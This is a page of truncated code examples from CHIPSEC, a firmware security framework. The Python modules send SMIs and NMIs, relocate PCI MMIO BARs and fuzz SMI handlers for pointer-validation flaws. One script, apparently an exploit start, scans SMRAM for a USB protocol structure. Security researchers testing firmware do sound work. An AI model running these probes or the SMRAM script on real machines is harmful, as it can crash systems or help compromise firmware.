Ejemplo n.º 1
0
 def __init__(self):
     BaseModule.__init__(self)
     self.interrupts = Interrupts( self.cs )
     self.is_check_memory    = True
     self.test_ptr_in_buffer = False
     self.fill_byte = _MEM_FILL_VALUE
     self.fill_size = _MEM_FILL_SIZE
Ejemplo n.º 2
0
    def run(self):
        if len(self.argv) < 3:
            print (SMICommand.__doc__)
            return

        try:
            interrupts = Interrupts( self.cs )
        except RuntimeError as msg:
            print (msg)
            return

        op = self.argv[2]
        t = time.time()

        if 'count' == op:
            self.logger.log( "[CHIPSEC] SMI count:" )
            for tid in range(self.cs.msr.get_cpu_thread_count()):
                smi_cnt = self.cs.read_register_field('MSR_SMI_COUNT', 'Count', cpu_thread=tid)
                self.logger.log( "  CPU{:d}: {:d}".format(tid,smi_cnt) )
        else:
            SMI_code_port_value = 0xF
            SMI_data_port_value = 0x0
            if len(self.argv) > 4:
                thread_id           = int(self.argv[2],16)
                SMI_code_port_value = int(self.argv[3],16)
                SMI_data_port_value = int(self.argv[4],16)
                self.logger.log( "[CHIPSEC] Sending SW SMI (code: 0x{:02X}, data: 0x{:02X})..".format(SMI_code_port_value, SMI_data_port_value) )
                if 5 == len(self.argv):
                    interrupts.send_SMI_APMC( SMI_code_port_value, SMI_data_port_value )
                elif 11 == len(self.argv):
                    _rax = int(self.argv[5],16)
                    _rbx = int(self.argv[6],16)
                    _rcx = int(self.argv[7],16)
                    _rdx = int(self.argv[8],16)
                    _rsi = int(self.argv[9],16)
                    _rdi = int(self.argv[10],16)
                    self.logger.log( "          RAX: 0x{:016X} (AX will be overwridden with values of SW SMI ports B2/B3)".format(_rax) )
                    self.logger.log( "          RBX: 0x{:016X}".format(_rbx) )
                    self.logger.log( "          RCX: 0x{:016X}".format(_rcx) )
                    self.logger.log( "          RDX: 0x{:016X} (DX will be overwridden with 0x00B2)".format(_rdx) )
                    self.logger.log( "          RSI: 0x{:016X}".format(_rsi) )
                    self.logger.log( "          RDI: 0x{:016X}".format(_rdi) )
                    ret = interrupts.send_SW_SMI( thread_id, SMI_code_port_value, SMI_data_port_value, _rax, _rbx, _rcx, _rdx, _rsi, _rdi )
                    if not ret is None:
                        self.logger.log( "Return values")
                        self.logger.log( "          RAX: {:16X}".format(ret[1]) )
                        self.logger.log( "          RBX: {:16X}".format(ret[2]) )
                        self.logger.log( "          RCX: {:16X}".format(ret[3]) )
                        self.logger.log( "          RDX: {:16X}".format(ret[4]) )
                        self.logger.log( "          RSI: {:16X}".format(ret[5]) )
                        self.logger.log( "          RDI: {:16X}".format(ret[6]) )  
                else: print (SMICommand.__doc__)
            else:
                self.logger.error( "unknown command-line option '{:32}'".format(op) )
                print (SMICommand.__doc__)
                return

        self.logger.log( "[CHIPSEC] (smi) time elapsed {:.3f}".format(time.time()-t) )
Ejemplo n.º 3
0
    def run(self):
        try:
            interrupts = Interrupts( self.cs )
        except RuntimeError as msg:
            print (msg)
            return

        t = time.time()
        self.logger.log( "[CHIPSEC] Sending NMI#.." )
        interrupts.send_NMI()
        self.logger.log( "[CHIPSEC] (nmi) time elapsed {:.3f}".format(time.time()-t) )
Ejemplo n.º 4
0
    def __init__(self):
        BaseModule.__init__(self)
        self._interrupts = Interrupts(self.cs)

        # SMI code to be written to I/O port 0xB2
        self.smic_start = 0x00
        self.smic_end = SMI_CODE_LIMIT
        # SMI data to be written to I/O port 0xB3
        self.smid_start = 0x00
        self.smid_end = SMI_DATA_LIMIT
        # SMI handler "function" often supplied in ECX register
        self.smif_start = 0x00
        self.smif_end = SMI_FUNC_LIMIT
        # SMM communication buffer often supplied in EBX register
        self.comm = 0x00

        self.reloc_mmio = None
Ejemplo n.º 5
0
def nmi(argv):
    if 2 < len(argv):
        print usage

    try:
        interrupts = Interrupts( chipsec_util._cs )
    except RuntimeError, msg:
        print msg
        return
Ejemplo n.º 6
0
    def run(self):
        if len(self.argv) < 3:
            print SMICommand.__doc__
            return

        try:
            interrupts = Interrupts(self.cs)
        except RuntimeError, msg:
            print msg
            return
Ejemplo n.º 7
0
    def __init__(self):
        BaseModule.__init__(self)
        self._interrupts  = Interrupts( self.cs )

        self.generate_smi = False
        self.bar_names    = []
        self.bars         = {}
        self.bars_diff    = {}

        # SMI code to be written to I/O port 0xB2
        self.smic_start   = 0x00
        self.smic_end     = SMI_CODE_LIMIT
        # SMI data to be written to I/O port 0xB3
        self.smid_start   = 0x00
        self.smid_end     = SMI_DATA_LIMIT
        # SMI handler "function" often supplied in ECX register
        self.smif_start   = 0x00
        self.smif_end     = SMI_FUNC_LIMIT
        # SMM communication buffer often supplied in EBX register
        self.comm         = 0x00
Ejemplo n.º 8
0
    def run(self):
        try:
            self.interrupts = Interrupts(self.cs)
        except RuntimeError as msg:
            self.logger.log(msg)
            return

        t = time.time()

        self.func()

        self.logger.log(
            "[CHIPSEC] (smi) time elapsed {:.3f}".format(time.time() - t))
Ejemplo n.º 9
0
def smi(argv):
    """
    >>> chipsec_util smi <thread_id> <SMI_code> <SMI_data> [RAX] [RBX] [RCX] [RDX] [RSI] [RDI]

    Examples:

    >>> chipsec_util smi 0x0 0xDE 0x0
    >>> chipsec_util smi 0x0 0xDE 0x0 0xAAAAAAAAAAAAAAAA ..
    """
    try:
        interrupts = Interrupts(chipsec_util._cs)
    except RuntimeError, msg:
        print msg
        return
Ejemplo n.º 10
0
def nmi(argv):
    """
    >>> chipsec_util nmi

    Examples:

    >>> chipsec_util nmi
    """
    if 2 < len(argv):
        print nmi.__doc__

    try:
        interrupts = Interrupts(chipsec_util._cs)
    except RuntimeError, msg:
        print msg
        return
Ejemplo n.º 11
0
    def __init__(self):
        BaseModule.__init__(self)
        self._interrupts  = Interrupts( self.cs )

        # SMI code to be written to I/O port 0xB2
        self.smic_start   = 0x00
        self.smic_end     = SMI_CODE_LIMIT
        # SMI data to be written to I/O port 0xB3
        self.smid_start   = 0x00
        self.smid_end     = SMI_DATA_LIMIT
        # SMI handler "function" often supplied in ECX register
        self.smif_start   = 0x00
        self.smif_end     = SMI_FUNC_LIMIT
        # SMM communication buffer often supplied in EBX register
        self.comm         = 0x00

        self.reloc_mmio   = None
Ejemplo n.º 12
0
class rogue_mmio_bar(BaseModule):

    def __init__(self):
        BaseModule.__init__(self)
        self._interrupts  = Interrupts( self.cs )

        # SMI code to be written to I/O port 0xB2
        self.smic_start   = 0x00
        self.smic_end     = SMI_CODE_LIMIT
        # SMI data to be written to I/O port 0xB3
        self.smid_start   = 0x00
        self.smid_end     = SMI_DATA_LIMIT
        # SMI handler "function" often supplied in ECX register
        self.smif_start   = 0x00
        self.smif_end     = SMI_FUNC_LIMIT
        # SMM communication buffer often supplied in EBX register
        self.comm         = 0x00

        self.reloc_mmio   = None
       

    def smi_mmio_range_fuzz(self, thread_id, b, d, f, bar_off, is64bit, bar, new_bar, base, size):

        # copy all registers from MMIO range to new location in memory
        # we do that once rather than before every SMI since we return after first change detected
        self.logger.log( "[*] copying BAR 0x%X > 0x%X" % (base,self.reloc_mmio) )
        orig_mmio = self.copy_bar(base, self.reloc_mmio, size)
        if self.logger.VERBOSE:
            self.cs.mmio.dump_MMIO(base, size)
            file.write_file('mmio_mem.orig', orig_mmio)

        for smi_code in xrange(self.smic_start,self.smic_end+1):
            for smi_data in xrange(self.smid_start,self.smid_end+1):
                for ecx in xrange(self.smif_start,self.smif_end+1):
                    self.logger.log( "> SMI# %02X: data %02X, func (ECX) %X" % (smi_code,smi_data,ecx) )
                    if FLUSH_OUTPUT_AFTER_SMI: self.logger.flush()

                    # point MMIO range to new location (relocate MMIO range)
                    self.logger.log( "  relocating BAR 0x%X" % bar )
                    if not self.modify_bar(b, d, f, bar_off, is64bit, bar, new_bar): continue

                    # generate SW SMI
                    self._interrupts.send_SW_SMI(thread_id, smi_code, smi_data, _FILL_VALUE_QWORD, self.comm, ecx, _FILL_VALUE_QWORD, _FILL_VALUE_QWORD, _FILL_VALUE_QWORD)

                    # restore original location of MMIO range
                    self.restore_bar(b, d, f, bar_off, is64bit, bar)
                    self.logger.log( "  restored BAR with 0x%X" % bar )

                    # check the contents at the address range used to relocate MMIO BAR
                    buf = self.cs.mem.read_physical_mem( self.reloc_mmio, size )
                    diff = DIFF(orig_mmio, buf, size)
                    self.logger.log("  checking relocated MMIO")
                    if len(diff) > 0:
                        self.logger.log_important("changes found at 0x%X +%s" % (self.reloc_mmio, diff))
                        if self.logger.VERBOSE: file.write_file('mmio_mem.new', buf)
                        return True
        return False


    def copy_bar(self, bar_base, bar_base_mem, size):
        for off in xrange(0,size,4):
            r = self.cs.mem.read_physical_mem_dword(bar_base + off)
            self.cs.mem.write_physical_mem_dword(bar_base_mem + off, r)
        return self.cs.mem.read_physical_mem(bar_base_mem, size)
    """
    def copy_bar_name(self, name, bar_base_mem):
        bar_regs = self.cs.mmio.read_MMIO_BAR(bar_name)
        size = len(bar_regs)
        off = 0
        for r in bar_regs:
            self.cs.mem.write_physical_mem_dword(bar_base_mem + off, r)
            off += 4
        return self.cs.mem.read_physical_mem(bar_base_mem, size)
    """

    def modify_bar(self, b, d, f, off, is64bit, bar, new_bar):
        # Modify MMIO BAR address
        if is64bit:
            #self.cs.pci.write_dword(b, d, f, off, 0x0)
            self.cs.pci.write_dword(b, d, f, off + pci.PCI_HDR_BAR_STEP, ((new_bar>>32)&0xFFFFFFFF))
        self.cs.pci.write_dword(b, d, f, off, (new_bar&0xFFFFFFFF))
        # Check that the MMIO BAR has been modified correctly. Restore original and skip if not
        l = self.cs.pci.read_dword(b, d, f, off)
        if l != (new_bar&0xFFFFFFFF):
            self.restore_bar(b, d, f, off, is64bit, bar)
            self.logger.log("  skipping (%X != %X)" % (l,new_bar))
            return False
        self.logger.log("  new BAR: 0x%X" % l)
        return True

    def restore_bar(self, b, d, f, off, is64bit, bar):
        if is64bit:
            #self.cs.pci.write_dword(b, d, f, off, 0x0)
            self.cs.pci.write_dword(b, d, f, off + pci.PCI_HDR_BAR_STEP, ((bar>>32)&0xFFFFFFFF))
        self.cs.pci.write_dword(b, d, f, off, (bar&0xFFFFFFFF))                        
        return True

    def run( self, module_argv ):
        self.logger.start_test( "experimental tool to help checking for SMM MMIO BAR issues" )

        pcie_devices = []

        if len(module_argv) > 0:
            smic_arr        = module_argv[0].split(':')
            self.smic_start = int(smic_arr[0],16)
            self.smic_end   = int(smic_arr[1],16)

        if len(module_argv) > 1:
            try:
                b,df = module_argv[1].split(':')
                d,f = df.split('.')
                pcie_devices = [ (int(b,16),int(d,16),int(f,16),0,0) ]
            except:
                self.logger.error("incorrect b:d.f format\nUsage:\nchipsec_main -m tools.smm.rogue_mmio_bar [-a <smi_start:smi_end>,<b:d.f>]")
        else:
            self.logger.log("[*] discovering PCIe devices..")
            pcie_devices = self.cs.pci.enumerate_devices()

        self.logger.log("[*] testing MMIO of PCIe devices:")
        for (b,d,f,_,_) in pcie_devices: self.logger.log("    %02X:%02X.%X" % (b,d,f))

        # allocate a page or SMM communication buffer (often supplied in EBX register)
        _, self.comm = self.cs.mem.alloc_physical_mem(0x1000, defines.BOUNDARY_4GB-1)
        #self.cs.mem.write_physical_mem( self.comm, 0x1000, chr(0)*0x1000 )

        # allocate range in physical memory (should cover all MMIO ranges including GTTMMADR)
        bsz = 2*MAX_MMIO_RANGE_SIZE
        (va, pa) = self.cs.mem.alloc_physical_mem( bsz, defines.BOUNDARY_4GB-1 )
        self.logger.log( "[*] allocated memory range : 0x%016X (0x%X bytes)" % (pa,bsz) )
        self.cs.mem.write_physical_mem(pa, bsz, _MEM_FILL_VALUE*bsz)
        # align at the MAX_MMIO_RANGE_SIZE boundary within allocated range
        self.reloc_mmio = pa & (~(MAX_MMIO_RANGE_SIZE-1))
        if self.reloc_mmio < pa: self.reloc_mmio += MAX_MMIO_RANGE_SIZE
        self.logger.log("[*] MMIO relocation address: 0x%016X\n" % self.reloc_mmio)
        
        for (b, d, f, vid, did) in pcie_devices:
            self.logger.log("[*] enumerating device %02X:%02X.%X MMIO BARs.." % (b, d, f))
            device_bars = self.cs.pci.get_device_bars(b, d, f, True)
            for (base, isMMIO, is64bit, bar_off, bar, size) in device_bars:
                if isMMIO and size <= MAX_MMIO_RANGE_SIZE:
                    self.logger.flush()
                    self.logger.log( "[*] found MMIO BAR +0x%02X (base 0x%016X, size 0x%X)" % (bar_off,base,size) )
                    new_bar = ((self.reloc_mmio & pci.PCI_HDR_BAR_BASE_MASK_MMIO64)|(bar & pci.PCI_HDR_BAR_CFGBITS_MASK))
                    if self.smi_mmio_range_fuzz(0, b, d, f, bar_off, is64bit, bar, new_bar, base, size):
                        return ModuleResult.FAILED

        return ModuleResult.PASSED
Ejemplo n.º 13
0
class rogue_mmio_bar(BaseModule):
    def __init__(self):
        BaseModule.__init__(self)
        self._interrupts = Interrupts(self.cs)

        # SMI code to be written to I/O port 0xB2
        self.smic_start = 0x00
        self.smic_end = SMI_CODE_LIMIT
        # SMI data to be written to I/O port 0xB3
        self.smid_start = 0x00
        self.smid_end = SMI_DATA_LIMIT
        # SMI handler "function" often supplied in ECX register
        self.smif_start = 0x00
        self.smif_end = SMI_FUNC_LIMIT
        # SMM communication buffer often supplied in EBX register
        self.comm = 0x00

        self.reloc_mmio = None

    def smi_mmio_range_fuzz(self, thread_id, b, d, f, bar_off, is64bit, bar,
                            new_bar, base, size):

        # copy all registers from MMIO range to new location in memory
        # we do that once rather than before every SMI since we return after first change detected
        self.logger.log("[*] copying BAR 0x%X > 0x%X" %
                        (base, self.reloc_mmio))
        orig_mmio = self.copy_bar(base, self.reloc_mmio, size)
        if self.logger.DEBUG:
            self.cs.mmio.dump_MMIO(base, size)
            file.write_file('mmio_mem.orig', orig_mmio)

        for smi_code in xrange(self.smic_start, self.smic_end + 1):
            for smi_data in xrange(self.smid_start, self.smid_end + 1):
                for ecx in xrange(self.smif_start, self.smif_end + 1):
                    self.logger.log("> SMI# %02X: data %02X, func (ECX) %X" %
                                    (smi_code, smi_data, ecx))
                    if FLUSH_OUTPUT_AFTER_SMI: self.logger.flush()

                    # point MMIO range to new location (relocate MMIO range)
                    self.logger.log("  relocating BAR 0x%X" % bar)
                    if not self.modify_bar(b, d, f, bar_off, is64bit, bar,
                                           new_bar):
                        continue

                    # generate SW SMI
                    self._interrupts.send_SW_SMI(thread_id, smi_code, smi_data,
                                                 _FILL_VALUE_QWORD, self.comm,
                                                 ecx, _FILL_VALUE_QWORD,
                                                 _FILL_VALUE_QWORD,
                                                 _FILL_VALUE_QWORD)

                    # restore original location of MMIO range
                    self.restore_bar(b, d, f, bar_off, is64bit, bar)
                    self.logger.log("  restored BAR with 0x%X" % bar)

                    # check the contents at the address range used to relocate MMIO BAR
                    buf = self.cs.mem.read_physical_mem(self.reloc_mmio, size)
                    diff = DIFF(orig_mmio, buf, size)
                    self.logger.log("  checking relocated MMIO")
                    if len(diff) > 0:
                        self.logger.log_important("changes found at 0x%X +%s" %
                                                  (self.reloc_mmio, diff))
                        if self.logger.DEBUG:
                            file.write_file('mmio_mem.new', buf)
                        return True
        return False

    def copy_bar(self, bar_base, bar_base_mem, size):
        for off in xrange(0, size, 4):
            r = self.cs.mem.read_physical_mem_dword(bar_base + off)
            self.cs.mem.write_physical_mem_dword(bar_base_mem + off, r)
        return self.cs.mem.read_physical_mem(bar_base_mem, size)

    """
    def copy_bar_name(self, name, bar_base_mem):
        bar_regs = self.cs.mmio.read_MMIO_BAR(bar_name)
        size = len(bar_regs)
        off = 0
        for r in bar_regs:
            self.cs.mem.write_physical_mem_dword(bar_base_mem + off, r)
            off += 4
        return self.cs.mem.read_physical_mem(bar_base_mem, size)
    """

    def modify_bar(self, b, d, f, off, is64bit, bar, new_bar):
        # Modify MMIO BAR address
        if is64bit:
            #self.cs.pci.write_dword(b, d, f, off, 0x0)
            self.cs.pci.write_dword(b, d, f, off + pci.PCI_HDR_BAR_STEP,
                                    ((new_bar >> 32) & 0xFFFFFFFF))
        self.cs.pci.write_dword(b, d, f, off, (new_bar & 0xFFFFFFFF))
        # Check that the MMIO BAR has been modified correctly. Restore original and skip if not
        l = self.cs.pci.read_dword(b, d, f, off)
        if l != (new_bar & 0xFFFFFFFF):
            self.restore_bar(b, d, f, off, is64bit, bar)
            self.logger.log("  skipping (%X != %X)" % (l, new_bar))
            return False
        self.logger.log("  new BAR: 0x%X" % l)
        return True

    def restore_bar(self, b, d, f, off, is64bit, bar):
        if is64bit:
            #self.cs.pci.write_dword(b, d, f, off, 0x0)
            self.cs.pci.write_dword(b, d, f, off + pci.PCI_HDR_BAR_STEP,
                                    ((bar >> 32) & 0xFFFFFFFF))
        self.cs.pci.write_dword(b, d, f, off, (bar & 0xFFFFFFFF))
        return True

    def run(self, module_argv):
        self.logger.start_test(
            "experimental tool to help checking for SMM MMIO BAR issues")

        pcie_devices = []

        if len(module_argv) > 0:
            smic_arr = module_argv[0].split(':')
            self.smic_start = int(smic_arr[0], 16)
            self.smic_end = int(smic_arr[1], 16)

        if len(module_argv) > 1:
            try:
                b, df = module_argv[1].split(':')
                d, f = df.split('.')
                pcie_devices = [(int(b, 16), int(d, 16), int(f, 16), 0, 0)]
            except:
                self.logger.error(
                    "incorrect b:d.f format\nUsage:\nchipsec_main -m tools.smm.rogue_mmio_bar [-a <smi_start:smi_end>,<b:d.f>]"
                )
        else:
            self.logger.log("[*] discovering PCIe devices..")
            pcie_devices = self.cs.pci.enumerate_devices()

        self.logger.log("[*] testing MMIO of PCIe devices:")
        for (b, d, f, _, _) in pcie_devices:
            self.logger.log("    %02X:%02X.%X" % (b, d, f))

        # allocate a page or SMM communication buffer (often supplied in EBX register)
        _, self.comm = self.cs.mem.alloc_physical_mem(0x1000,
                                                      defines.BOUNDARY_4GB - 1)
        #self.cs.mem.write_physical_mem( self.comm, 0x1000, chr(0)*0x1000 )

        # allocate range in physical memory (should cover all MMIO ranges including GTTMMADR)
        bsz = 2 * MAX_MMIO_RANGE_SIZE
        (va, pa) = self.cs.mem.alloc_physical_mem(bsz,
                                                  defines.BOUNDARY_4GB - 1)
        self.logger.log("[*] allocated memory range : 0x%016X (0x%X bytes)" %
                        (pa, bsz))
        self.cs.mem.write_physical_mem(pa, bsz, _MEM_FILL_VALUE * bsz)
        # align at the MAX_MMIO_RANGE_SIZE boundary within allocated range
        self.reloc_mmio = pa & (~(MAX_MMIO_RANGE_SIZE - 1))
        if self.reloc_mmio < pa: self.reloc_mmio += MAX_MMIO_RANGE_SIZE
        self.logger.log("[*] MMIO relocation address: 0x%016X\n" %
                        self.reloc_mmio)

        for (b, d, f, vid, did) in pcie_devices:
            self.logger.log("[*] enumerating device %02X:%02X.%X MMIO BARs.." %
                            (b, d, f))
            device_bars = self.cs.pci.get_device_bars(b, d, f, True)
            for (base, isMMIO, is64bit, bar_off, bar, size) in device_bars:
                if isMMIO and size <= MAX_MMIO_RANGE_SIZE:
                    self.logger.flush()
                    self.logger.log(
                        "[*] found MMIO BAR +0x%02X (base 0x%016X, size 0x%X)"
                        % (bar_off, base, size))
                    new_bar = (
                        (self.reloc_mmio & pci.PCI_HDR_BAR_BASE_MASK_MMIO64) |
                        (bar & pci.PCI_HDR_BAR_CFGBITS_MASK))
                    if self.smi_mmio_range_fuzz(0, b, d, f, bar_off, is64bit,
                                                bar, new_bar, base, size):
                        return ModuleResult.FAILED

        return ModuleResult.PASSED
Ejemplo n.º 14
0
from struct import pack, unpack
from crc_spoof import *

import chipsec.chipset
from chipsec.hal.interrupts import Interrupts

PAGE_SIZE = 0x1000
SMI_USB_RUNTIME = 0x31

cs = chipsec.chipset.cs()
cs.init(None, True, True)

intr = Interrupts(cs)
SMRAM = cs.cpu.get_SMRAM()[0]

mem_read = cs.helper.read_physical_mem
mem_write = cs.helper.write_physical_mem
mem_alloc = cs.helper.alloc_physical_mem
io_read = cs.helper.read_io_port

# check if system is in ACPI mode
# assert (io_read(0x1804, 1) & 1) == 0, "this system is in ACPI mode now"

# locate EFI_USB_PROTOCOL and usb_data in the memory
for addr in xrange(SMRAM / PAGE_SIZE - 1, 0, -1):
    if mem_read(addr * PAGE_SIZE, 4) == 'USBP':
        usb_protocol = addr * PAGE_SIZE
        usb_data = unpack("<Q", mem_read(addr * PAGE_SIZE + 8, 8))[0]
        break

assert usb_protocol != 0, "can't find EFI_USB_PROTOCOL structure"
Ejemplo n.º 15
0
def smi(argv):
    try:
       interrupts = Interrupts( _cs )
    except RuntimeError, msg:
       print msg
       return
Ejemplo n.º 16
0
 def __init__(self):
     BaseModule.__init__(self)
     self.interrupts = Interrupts(self.cs)
     self.is_check_memory = True
Ejemplo n.º 17
0
class smm_ptr(BaseModule):
    def __init__(self):
        BaseModule.__init__(self)
        self.interrupts = Interrupts( self.cs )
        self.is_check_memory = True
        
    def is_supported(self):
        return True
        

    def get_SMRAM( self ):
        msr_smrrbase = chipsec.chipset.read_register( self.cs, 'IA32_SMRR_PHYSBASE' )
        msr_smrrmask = chipsec.chipset.read_register( self.cs, 'IA32_SMRR_PHYSMASK' )
        smrrbase = chipsec.chipset.get_register_field( self.cs, 'IA32_SMRR_PHYSBASE', msr_smrrbase, 'PhysBase', True )
        smrrmask  = chipsec.chipset.get_register_field( self.cs, 'IA32_SMRR_PHYSMASK', msr_smrrmask, 'PhysMask', True )
        return (smrrbase,smrrmask)

    def fill_memory( self, _addr, _addr1, _fill_byte, _fill_size ):
        #
        # Fill in contents at PA = _addr with known pattern to check later if any SMI handler modifies them
        #
        self.logger.log( "[*] Filling in %d bytes at PA 0x%016X with '%c'.." % (_fill_size, _addr, _fill_byte) )
        self.cs.mem.write_physical_mem( _addr, _fill_size, _fill_byte*_MEM_FILL_SIZE )
        if MODE_SECOND_ORDER_BUFFER: 
            self.logger.log( "[*] Filling in %d bytes at PA 0x%016X with '%c'.." % (_fill_size, _addr1, _fill_byte) )
            self.cs.mem.write_physical_mem( _addr1, _fill_size, _fill_byte*_MEM_FILL_SIZE )
        return True

    def send_smi( self, smi_code, smi_data, name, desc, rax, rbx, rcx, rdx, rsi, rdi ):
        #
        # Invoke SW SMI#
        #
        self.logger.log( "[*] Sending SMI# 0x%02X (data = 0x%02X) %s (%s).." % (smi_code, smi_data, name, desc) )
        self.logger.log( "    RAX: 0x%016X (AX will be overwridden with values of SW SMI ports B2/B3)" % rax )
        self.logger.log( "    RBX: 0x%016X" % rbx )
        self.logger.log( "    RCX: 0x%016X" % rcx )
        self.logger.log( "    RDX: 0x%016X (DX will be overwridden with 0x00B2)" % rdx )
        self.logger.log( "    RSI: 0x%016X" % rsi )
        self.logger.log( "    RDI: 0x%016X" % rdi )
        self.interrupts.send_SW_SMI( smi_code, smi_data, rax, rbx, rcx, rdx, rsi, rdi )
        return True


    def check_memory( self, _addr, _addr1, _fill_byte, _fill_size ):
        #
        # Check if contents have changed at physical address passed in GPRs to SMI handler
        # If changed, SMI handler might have written to that address
        #
        _changed = False
        self.logger.log( "[*] Checking contents at PA 0x%016X.." % _addr )
        buf = self.cs.mem.read_physical_mem( _addr, _fill_size )
        i = 0
        for c in buf:
            if _fill_byte != c:
                _changed = True
                break
            i = i + 1
        if _changed:
            self.logger.log_important( "Detected: contents at PA 0x%016X (+ 0x%X) have changed" % (_addr,i) )
            if DUMP_MEMORY_ON_DETECT:
                _f = os.path.join( _pth, '%s_addr%X_after.dmp' % (name,_addr) )
                write_file( _f, buf )
        else: self.logger.log_good( "Contents at PA 0x%016X have not changed" % _addr )

        _changed1 = False
        if MODE_SECOND_ORDER_BUFFER:
            self.logger.log( "[*] Checking contents at PA 0x%016X.." % _addr1 )
            buf1 = self.cs.mem.read_physical_mem( _addr1, _fill_size )
            i = 0
            for c in buf1:
                if _fill_byte != c:
                    _changed1 = True
                    break
                i = i + 1
            if _changed1:
                self.logger.log_important( "Detected: contents at PA 0x%016X (+ 0x%X) have changed" % (_addr1,i) )
                if DUMP_MEMORY_ON_DETECT:
                    _f = os.path.join( _pth, '%s_addr%X_after.dmp' % (name,_addr1) )
                    write_file( _f, buf1 )
            else: self.logger.log_good( "Contents at PA 0x%016X have not changed" % _addr1 )

        return (_changed or _changed1)

    def run( self, module_argv ):
        self.logger.start_test( "A tool to test SMI handlers for pointer validation vulnerabilies" )
        self.logger.log( "Usage: chipsec_main -m tools.smm.smm_ptr [ -a <fill_byte>,<size>,<config_file>,<address> ]" )
        self.logger.log( "       address	physical address of memory buffer to pass in GP regs to SMI handlers" )
        self.logger.log( "         ='smram'	pass address of SMRAM base (system may hang in this mode!)" )
        self.logger.log( "       config_file	path to a file describing interfaces to SMI handlers (template: smm_config.ini)" )
        self.logger.log( "       size		size of the memory buffer" )
        self.logger.log( "       fill_byte	byte to fill the memory buffer with\n" )
        
        _smi_config_fname = 'chipsec/modules/tools/smm/smm_config.ini'
        _addr             = 0x0
        _wr_val           = _FILL_VALUE_BYTE

        _fill_byte = chr(int(module_argv[0],16)) if len(module_argv) > 0 else _MEM_FILL_VALUE
        _fill_size = int(module_argv[1],16)      if len(module_argv) > 1 else _MEM_FILL_SIZE

        if len(module_argv) > 2: _smi_config_fname = module_argv[2]
        if len(module_argv) > 3:
            if 'smram' == module_argv[3]:
                (smrrbase,smrrmask) = self.get_SMRAM()
                _addr = smrrbase & smrrmask
                self.is_check_memory = False
                self.logger.log( "[*] Using SMRAM base address (0x%016X) to pass to SMI handlers" % _addr )
            else:
                _addr = int(module_argv[3],16)
                self.logger.log( "[*] Using address from command-line (0x%016X) to pass to SMI handlers" % _addr )
        else:
            (va, _addr) = self.cs.mem.alloc_physical_mem( _fill_size, _MAX_ALLOC_PA )
            self.logger.log( "[*] Allocated new memory buffer (0x%016X) to pass to SMI handlers" % _addr )

        _b = ord(_fill_byte)
        _addr1 = 0xFFFFFFFFFFFFFFFF & ((_b<<24) | (_b<<16) | (_b<<8) | _b)

        #
        # @TODO: Need to check that SW/APMC SMI is enabled
        #

        self.logger.log( "[*] Configuration:" )
        self.logger.log( "    SMI config file          : %s" % _smi_config_fname )
        self.logger.log( "    Register default value   : 0x%016X" % _FILL_VALUE_QWORD )
        self.logger.log( "    Memory address           : 0x%016X (passed in GP regs to SMI)" % _addr )
        self.logger.log( "    Pointers within buffer?  : %s" % ('ON' if MODE_SECOND_ORDER_BUFFER else 'OFF') )
        if MODE_SECOND_ORDER_BUFFER: self.logger.log( "    Pointer (address) in memory buffer (32b): 0x%016X" % _addr1 )
        self.logger.log( "    Filling/checking memory? : %d" % self.is_check_memory )
        if self.is_check_memory:
            self.logger.log( "    Byte to fill with        : 0x%X" % _b )
            self.logger.log( "    Number of bytes to fill  : 0x%X" % _fill_size )

        #
        # Parse SMM config file describing SMI handlers and their call arguments
        # Then invoke SMI handlers
        #
        fcfg = open( _smi_config_fname, 'r' )
        keys = {}

        if DUMP_MEMORY_ON_DETECT and not os.path.exists( _pth ): os.makedirs( _pth )

        self.logger.set_always_flush( FLUSH_OUTPUT_ALWAYS )

        self.logger.log('')
        self.logger.log( "[*] Fuzzing SMI handlers defined in '%s'.." % _smi_config_fname )

        _failed = False
        for line in fcfg:
            if '' == line.strip():
                # Fill memory buffer if not in 'No Fill' mode
                if self.is_check_memory: self.fill_memory( _addr, _addr1, _fill_byte, _fill_size )
                # Invoke SW SMI handler
                self.send_smi( keys['smi_code'], keys['smi_data'], \
                               keys['name'], keys['desc'],         \
                               keys['rax'], keys['rbx'], keys['rcx'], keys['rdx'], keys['rsi'], keys['rdi'] )
                # Check memory buffer if not in 'No Fill' mode
                if self.is_check_memory: _failed = _failed or self.check_memory( _addr, _addr1, _fill_byte, _fill_size )
            else:
                name, var = line.strip().partition('=')[::2]
                _n = name.strip().lower()
                if   'name'     == _n or 'desc'     == _n: keys[ _n ] = var
                elif 'smi_code' == _n or 'smi_data' == _n: keys[ _n ] = int(var,16) if '*'!=var else _SMI_CODE_DATA
                else: keys[ _n ] = ( _addr if 'PTR'==var else (_wr_val if 'VAL'==var else int(var,16)) ) if '*'!=var else _FILL_VALUE_QWORD

        res = ModuleResult.FAILED if _failed else ModuleResult.PASSED
        return res
Ejemplo n.º 18
0
class smm_ptr(BaseModule):
    def __init__(self):
        BaseModule.__init__(self)
        self.interrupts = Interrupts( self.cs )
        self.is_check_memory    = True
        self.test_ptr_in_buffer = False
        self.fill_byte = _MEM_FILL_VALUE
        self.fill_size = _MEM_FILL_SIZE
        
    def is_supported(self):
        return True
        

    def fill_memory( self, _addr, is_ptr_in_buffer, _ptr, _ptr_offset, _sig, _sig_offset ):
        #
        # Fill in contents at PA = _addr with known pattern to check later if any SMI handler modifies them
        #
        fill_buf = FILL_BUFFER( self.fill_byte, self.fill_size, is_ptr_in_buffer, _ptr, _ptr_offset, _sig, _sig_offset )

        s = "[*] writing 0x%X bytes at 0x%016X" % (self.fill_size, _addr)
        if is_ptr_in_buffer: s += " -> PTR at +0x%X" % _ptr_offset
        if _sig is not None: s += " -> SIG at +0x%X" % _sig_offset
        self.logger.log( s )
        self.cs.mem.write_physical_mem( _addr, self.fill_size, fill_buf )

        if self.logger.VERBOSE:
             self.logger.log( "filling in contents at PA 0x%016X:" % _addr )
             chipsec.logger.print_buffer( fill_buf )

        if is_ptr_in_buffer and _ptr is not None: 
            self.logger.log( "[*] writing buffer at PA 0x%016X with 0x%X bytes '%c'" % (_ptr, self.fill_size, self.fill_byte) )
            self.cs.mem.write_physical_mem( _ptr, self.fill_size, self.fill_byte*self.fill_size )

        return True

    def send_smi( self, thread_id, smi_code, smi_data, name, desc, rax, rbx, rcx, rdx, rsi, rdi ):
        self.logger.log( "    > SMI %02X (data: %02X)" % (smi_code,smi_data) )
        if DUMP_GPRS_EVERY_SMI:
